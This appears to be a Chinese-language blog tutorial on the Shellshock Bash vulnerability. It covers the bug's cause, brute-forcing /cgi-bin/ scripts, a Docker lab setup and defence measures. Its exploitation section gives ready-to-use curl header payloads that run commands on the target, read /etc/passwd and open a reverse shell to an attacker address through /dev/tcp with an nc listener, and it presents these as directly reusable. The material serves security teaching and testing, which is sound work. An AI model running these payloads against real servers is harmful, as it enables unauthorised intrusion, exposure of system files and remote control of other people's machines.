Shellshock(破壳漏洞)成因、利用及复现
Shellshock破壳漏洞是2014年曝光的高危代码执行漏洞核心影响GNU Bash环境变量解析逻辑其中最典型的利用场景是Web服务器的/cgi-bin/目录下的Shell脚本。本文将详细拆解漏洞成因、针对/cgi-bin/目录的利用技巧并提供从环境搭建到漏洞检测、命令注入的完整复现步骤帮助全面掌握该漏洞的核心原理与实操方法。一、Shellshock漏洞基础信息1.1 漏洞核心概况漏洞编号核心漏洞CVE-2014-6271后续补充/绕过漏洞CVE-2014-7169、CVE-2014-7186等影响版本GNU Bash 1.14 ~ 4.3 之间的所有版本该区间内默认存在解析缺陷漏洞类型环境变量解析命令注入高危代码执行漏洞CVSS评分9.8核心影响场景依赖Bash解析环境变量的服务其中最易利用、最常见的是Web服务器如Apache的/cgi-bin/目录下的Shell脚本.sh、.cgi后缀而.py、.php、.pl、.rb等脚本因不依赖Bash解析环境变量一般不存在该漏洞。1.2 漏洞成因核心解析Shellshock的本质是GNU Bash对环境变量的解析存在逻辑边界缺陷简单来说就是Bash在解析包含函数定义的环境变量时会错误执行函数定义之后附加的任意系统命令具体拆解为两个关键逻辑正常逻辑Bash允许在环境变量中定义Shell函数格式为变量名() { 函数体; }。当Bash启动时会自动解析这类环境变量将其注册为可执行的Shell函数仅执行函数体内部的逻辑不会解析函数体之外的内容。漏洞逻辑有漏洞的Bash版本1.14~4.3在解析上述函数格式的环境变量时没有正确终止函数定义的边界。只要在() { 函数体; }之后添加分号;分隔再附加任意系统命令Bash会将这些附加命令当作合法系统命令直接执行而非当作环境变量的普通字符串。举个本地直观验证示例需在有漏洞的Bash环境中执行# 1. 定义一个包含函数定义附加命令的环境变量exportTEST() { :; }; echo Shellshock漏洞存在附加命令被执行# 说明() { :; } 是一个空函数: 表示空操作不执行任何逻辑后面的; echo ... 是附加的命令# 2. 启动新的Bash进程触发环境变量解析bash# 3. 执行结果会直接输出Shellshock漏洞存在附加命令被执行# 正常情况下应仅注册空函数不输出任何内容此处证明附加命令被错误执行二、Shellshock漏洞利用聚焦/cgi-bin/目录漏洞利用的核心前提目标Web服务器存在/cgi-bin/目录且该目录下有可访问的Shell脚本.sh、.cgi后缀同时服务器调用该脚本时使用了有漏洞的Bash版本。利用流程分为三步爆破目标脚本 → 检测漏洞存在 → 执行注入命令获取信息/权限。2.1 第一步爆破/cgi-bin/目录下的目标脚本2.1.1 爆破核心逻辑Web服务器的/cgi-bin/目录是默认的CGI程序存放目录CGI程序的核心是通过Web服务器调用外部程序此处为Shell脚本并返回结果。我们需要通过爆破找到该目录下存在的、可访问的Shell脚本优先级.sh .cgi作为后续漏洞检测和利用的目标。注意.py、.php、.pl、.rb等后缀的脚本不依赖Bash解析无需爆破一般不存在该漏洞。2.1.2 两种爆破方式实操可直接复用方式1手动枚举简单场景适合少量测试通过curl命令发送HEAD请求-I参数判断脚本是否存在状态码200 OK表示存在且可访问404 Not Found表示不存在常用命令示例# 枚举常见的.sh后缀脚本curl-I http://target.com/cgi-bin/test.shcurl-I http://target.com/cgi-bin/condor.sh# 示例中的目标脚本curl-I http://target.com/cgi-bin/index.shcurl-I http://target.com/cgi-bin/hello.sh# 枚举常见的.cgi后缀脚本curl-I http://target.com/cgi-bin/test.cgicurl-I http://target.com/cgi-bin/index.cgicurl-I http://target.com/cgi-bin/login.cgi方式2工具爆破高效场景适合批量枚举推荐dirbdirb是一款常用的Web目录/文件爆破工具操作简单、效率高步骤如下# 1. 安装dirbDebian/Ubuntu系统其他系统可自行适配aptupdateaptinstalldirb -y# 2. 创建自定义爆破字典仅包含目标后缀减少无效爆破# 新建字典文件shellshock_dict.txt内容如下可自行补充常见脚本名catshellshock_dict.txtEOF test.sh condor.sh index.sh hello.sh test.cgi index.cgi login.cgi EOF# 3. 执行爆破指定目标URL和字典文件dirb http://target.com/cgi-bin/ shellshock_dict.txt# 爆破结果解读显示200 OK的条目即为存在且可访问的Shell脚本2.2 第二步检测目标脚本是否存在Shellshock漏洞2.2.1 核心检测原理Web服务器在调用/cgi-bin/下的Shell脚本时会将HTTP请求头如User-Agent、Referer、Cookie等转换为以HTTP_开头的环境变量例如User-Agent请求头会转换为HTTP_USER_AGENT环境变量并传递给Bash解析。利用这一特性我们在HTTP请求头中注入“函数定义检测命令”若目标存在漏洞Bash会解析该环境变量并执行附加的检测命令返回检测结果。2.2.2 实操检测命令验证有效可直接复用推荐使用curl命令发送请求以下是核心检测命令对应示例中的condor.sh脚本同时补充多种请求头方式避免部分环境过滤User-Agent# 核心检测命令使用User-Agent请求头示例中的命令验证有效curl-A() { :; }; echo; echo; /bin/bash -c echo shellshock-test-successhttp://target.com/cgi-bin/condor.sh# 命令拆解# -A设置User-Agent请求头注入漏洞利用代码# () { :; }; 空函数定义触发Bash的函数解析逻辑# echo; echo; 输出两个空行分隔脚本正常输出和注入命令的输出方便查看结果# /bin/bash -c echo shellshock-test-success 注入的检测命令执行后输出指定字符串验证漏洞存在# 补充其他请求头检测避免User-Agent被过滤# 1. 使用Referer请求头curl-HReferer: () { :; }; echo; echo; /bin/bash -c echo shellshock-test-successhttp://target.com/cgi-bin/condor.sh# 2. 使用Cookie请求头curl-HCookie: test() { :; }; echo; echo; /bin/bash -c echo shellshock-test-successhttp://target.com/cgi-bin/condor.sh2.2.3 检测结果判断漏洞存在curl响应结果中会出现shellshock-test-success字符串说明注入的检测命令被成功执行同时会有两个空行分隔脚本正常输出和检测结果。漏洞不存在仅返回目标Shell脚本的正常输出如脚本本身的执行结果不会出现上述检测字符串说明Bash版本安全或脚本不是Shell脚本。2.3 第三步漏洞利用注入命令获取实际权限/信息若检测到漏洞存在可将检测命令替换为实际的攻击命令实现信息泄露、权限获取等操作以下命令均基于curl请求头注入可直接替换检测命令中的注入部分。2.3.1 基础利用获取目标服务器信息# 1. 查看服务器系统信息内核版本、操作系统类型curl-A() { :; }; echo; echo; /bin/bash -c uname -ahttp://target.com/cgi-bin/condor.sh# 2. 查看当前执行脚本的用户权限一般为www-data低权限curl-A() { :; }; echo; echo; /bin/bash -c idhttp://target.com/cgi-bin/condor.sh# 3. 查看/etc/passwd文件用户列表敏感信息curl-A() { :; }; echo; echo; /bin/bash -c cat /etc/passwdhttp://target.com/cgi-bin/condor.sh# 4. 查看当前目录下的文件了解目标脚本所在目录的其他文件curl-A() { :; }; echo; echo; /bin/bash -c ls -lhttp://target.com/cgi-bin/condor.sh2.3.2 进阶利用反弹Shell获取交互式权限反弹Shell是最实用的利用方式可获取目标服务器的交互式Shell进一步执行任意命令需攻击者拥有公网服务器用于监听反弹连接。# 步骤1攻击者公网服务器上监听端口假设公网IP192.168.1.100监听端口8888nc-lvvp8888# 监听8888端口等待目标反弹连接# 步骤2目标服务器注入反弹Shell命令替换为公网IP和监听端口curl-A() { :; }; echo; echo; /bin/bash -c bash -i /dev/tcp/192.168.1.100/8888 01http://target.com/cgi-bin/condor.sh# 反弹成功攻击者公网服务器的nc监听窗口会出现交互式Shell可直接执行命令如whoami、pwd等三、Shellshock漏洞复现环境本节将搭建存在Shellshock漏洞的测试环境Apache 有漏洞的Bash /cgi-bin/Shell脚本完整复现“爆破→检测→利用”的全流程确保每一步都可实操、可验证。3.1 复现环境准备攻击机Kali Linux自带curl、dirb、nc工具无需额外安装目标机Ubuntu 14.04默认搭载GNU Bash 4.3.11存在Shellshock漏洞默认搭载Apache服务器自带/cgi-bin/目录网络要求攻击机与目标机可互通同一局域网或目标机可访问公网3.2 目标机环境搭建Docker 镜像:# 1. 拉取Docker官方漏洞镜像ubuntu:14.04官方原生镜像 docker pull ubuntu:14.04 # 2. 启动容器挂载本地目录方便后续操作同时保留交互终端 docker run -it -v /本地目录:/root/share --name shellshock-test ubuntu:14.04 /bin/bash # 3. 进入容器后快速验证Shellshock漏洞核心命令与本文1.2节本地验证一致 export TEST() { :; }; echo Shellshock漏洞存在Docker镜像验证成功 bash # 启动新的Bash进程触发漏洞 # 验证结果直接输出上述字符串说明漏洞存在镜像可用 # 补充其他镜像的快速验证替换镜像名即可 # centos:6 镜像拉取与验证 docker pull centos:6 docker run -it --name shellshock-centos centos:6 /bin/bash export TEST() { :; }; echo CentOS 6 镜像漏洞验证成功 bash # 输出字符串即验证成功 # debian:8 镜像拉取与验证 docker pull debian:8 docker run -it --name shellshock-debian debian:8 /bin/bash export TEST() { :; }; echo Debian 8 镜像漏洞验证成功 bash # 输出字符串即验证成功配置命令# 1. 检查Bash版本确认存在漏洞bash--version# 输出版本为4.3.11属于漏洞影响范围# 2. 安装Apache服务器自带/cgi-bin/目录aptupdateaptinstallapache2 -y# 3. 启动Apache服务确认服务正常运行serviceapache2 startpsaux|grepapache2# 查看进程确认启动成功# 4. 在/cgi-bin/目录下创建测试Shell脚本condor.sh示例中的目标脚本cd/usr/lib/cgi-bin/# Apache默认的/cgi-bin/目录路径vimcondor.sh# 新建脚本写入以下内容# 脚本内容简单的Shell脚本输出当前时间用于验证脚本可正常执行#!/bin/bashechoContent-Type: text/plainechoechoCurrent Time:$(date)# 5. 给脚本添加可执行权限必须否则Apache无法调用chmodx condor.sh# 6. 验证脚本可正常访问目标机本地访问或攻击机访问curlhttp://目标机IP/cgi-bin/condor.sh# 正常返回Current Time: 具体时间说明脚本可访问、可执行四、漏洞防御措施针对Shellshock漏洞核心防御思路是修复Bash解析缺陷同时限制/cgi-bin/目录的风险具体措施如下升级GNU Bash版本将Bash升级至4.3.25及以上版本修复了环境变量解析边界缺陷。限制/cgi-bin/目录权限仅允许必要的IP访问/cgi-bin/目录禁止公网批量访问删除目录下无用的Shell脚本仅保留必要的脚本。替换风险脚本将/cgi-bin/目录下的.sh、.cgi后缀Shell脚本替换为不依赖Bash的脚本如Python脚本从根源上避免漏洞触发。过滤HTTP请求头配置Web服务器如Apache过滤HTTP请求头User-Agent、Referer、Cookie等中的特殊字符如()、{}、;等阻止漏洞利用代码注入。五、总结Shellshock漏洞的核心是Bash环境变量解析的逻辑缺陷其利用的关键场景是Web服务器的/cgi-bin/目录下的Shell脚本.sh、.cgi后缀而.py、.php等脚本无此风险。完整利用流程为“爆破目标脚本→检测漏洞存在→注入命令利用”复现过程中需注意目标机环境搭建的细节如脚本可执行权限、Apache服务正常运行以及攻击机与目标机的网络互通。

相关新闻

基于深度学习YOLOv11的车辆行人检测系统(YOLOv11+YOLO数据集+UI界面+登录注册界面+Python项目源码+模型)

基于深度学习YOLOv11的车辆行人检测系统(YOLOv11+YOLO数据集+UI界面+登录注册界面+Python项目源码+模型)

一、项目介绍 本文基于YOLOv11深度学习算法,设计并实现了一个高效的车辆与行人检测系统。该系统采用包含4485张训练图像和1122张验证图像的YOLO格式数据集,涵盖"person"和"car"两类目标,通过优化模型结构和训练策略&…

2026/7/3 14:44:48 阅读更多 →
基于深度学习YOLOv11的小目标车辆检测系统(YOLOv11+YOLO数据集+UI界面+登录注册界面+Python项目源码+模型)

基于深度学习YOLOv11的小目标车辆检测系统(YOLOv11+YOLO数据集+UI界面+登录注册界面+Python项目源码+模型)

一、项目介绍 本文设计并实现了一种基于深度学习YOLOv11的小目标车辆检测系统,结合YOLO格式标注的自定义数据集,构建了完整的车辆检测解决方案。系统采用Python开发,集成用户友好的UI界面及登录注册功能,支持高效的小目标车辆识别…

2026/7/3 14:44:46 阅读更多 →
Nodejs计算机毕设之基于nodejs+vue知识交流平台的实现与设计基于nodejs的计算机c语音自学交流平台(完整前后端代码+说明文档+LW,调试定制等)

Nodejs计算机毕设之基于nodejs+vue知识交流平台的实现与设计基于nodejs的计算机c语音自学交流平台(完整前后端代码+说明文档+LW,调试定制等)

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

2026/7/3 14:44:48 阅读更多 →

最新新闻

translate-python高级技巧:自定义翻译 provider 与错误处理最佳实践

translate-python高级技巧:自定义翻译 provider 与错误处理最佳实践

translate-python高级技巧:自定义翻译 provider 与错误处理最佳实践 【免费下载链接】translate-python Online translation as a Python module & command line tool. No key, no authentication needed. 项目地址: https://gitcode.com/gh_mirrors/tr/trans…

2026/7/4 6:28:47 阅读更多 →
FPDF版本1.9新特性解析:最新功能与改进

FPDF版本1.9新特性解析:最新功能与改进

FPDF版本1.9新特性解析:最新功能与改进 【免费下载链接】FPDF FPDF is a PHP class which allows to generate PDF files with pure PHP. F from FPDF stands for Free: you may use it for any kind of usage and modify it to suit your needs. 项目地址: https…

2026/7/4 6:28:47 阅读更多 →
nginx-auth-ldap性能优化终极指南:连接池配置与缓存策略提升认证效率

nginx-auth-ldap性能优化终极指南:连接池配置与缓存策略提升认证效率

nginx-auth-ldap性能优化终极指南:连接池配置与缓存策略提升认证效率 【免费下载链接】nginx-auth-ldap LDAP authentication module for nginx 项目地址: https://gitcode.com/gh_mirrors/ng/nginx-auth-ldap nginx-auth-ldap是一个强大的LDAP认证模块&…

2026/7/4 6:26:47 阅读更多 →
3个关键场景教你轻松拯救即将消失的Flash内容

3个关键场景教你轻松拯救即将消失的Flash内容

3个关键场景教你轻松拯救即将消失的Flash内容 【免费下载链接】jpexs-decompiler JPEXS Free Flash Decompiler 项目地址: https://gitcode.com/gh_mirrors/jp/jpexs-decompiler 随着Adobe Flash正式退役,无数经典的Flash动画、游戏和互动内容正面临永久消失…

2026/7/4 6:26:47 阅读更多 →
Gloom的Kotlin Multiplatform架构解析:跨平台开发的最佳实践

Gloom的Kotlin Multiplatform架构解析:跨平台开发的最佳实践

Gloom的Kotlin Multiplatform架构解析:跨平台开发的最佳实践 【免费下载链接】Gloom GitHub reimagined with Material You 项目地址: https://gitcode.com/gh_mirrors/glo/Gloom 在当今多平台应用开发的时代,Gloom项目为我们展示了一个基于Kotli…

2026/7/4 6:24:46 阅读更多 →
Primer设计系统设计原则解析:GitHub Zen哲学在设计中的应用

Primer设计系统设计原则解析:GitHub Zen哲学在设计中的应用

Primer设计系统设计原则解析:GitHub Zen哲学在设计中的应用 【免费下载链接】design Primer Design Guidelines 项目地址: https://gitcode.com/gh_mirrors/des/design Primer设计系统是GitHub的官方设计系统,它将GitHub Zen哲学融入到界面设计的…

2026/7/4 6:24:46 阅读更多 →

日新闻

Memcached 1.6.43 发布:关键安全修复版本,多项问题得到解决

Memcached 1.6.43 发布:关键安全修复版本,多项问题得到解决

Memcached 1.6.43 正式发布,这是一个关键的安全修复版本,修复了多个方面的问题,还对部分功能进行了优化。 安全修复亮点 此次发布在安全修复上表现突出。binprot 避免了项目引用计数溢出,mcmc 因安全问题提升了上游版本号&#xf…

2026/7/4 0:04:29 阅读更多 →
终极指南:使用HMCL启动器跨平台畅玩Minecraft的完整解决方案

终极指南:使用HMCL启动器跨平台畅玩Minecraft的完整解决方案

终极指南:使用HMCL启动器跨平台畅玩Minecraft的完整解决方案 【免费下载链接】HMCL A Minecraft Launcher which is multi-functional, cross-platform and popular 项目地址: https://gitcode.com/gh_mirrors/hm/HMCL HMCL(Hello Minecraft! Lau…

2026/7/4 0:06:29 阅读更多 →
KMX63与PIC18F66K40在嵌入式HMI中的硬件协同与低功耗设计

KMX63与PIC18F66K40在嵌入式HMI中的硬件协同与低功耗设计

1. KMX63与PIC18F66K40的硬件协同架构解析KMX63作为一款三轴加速度计和磁力计组合传感器,与PIC18F66K40微控制器的搭配堪称嵌入式HMI开发的黄金组合。这套硬件组合的核心优势在于KMX63提供的高精度运动感知能力与PIC18F66K40强大的信号处理能力形成了完美互补。KMX6…

2026/7/4 0:06:29 阅读更多 →

周新闻

月新闻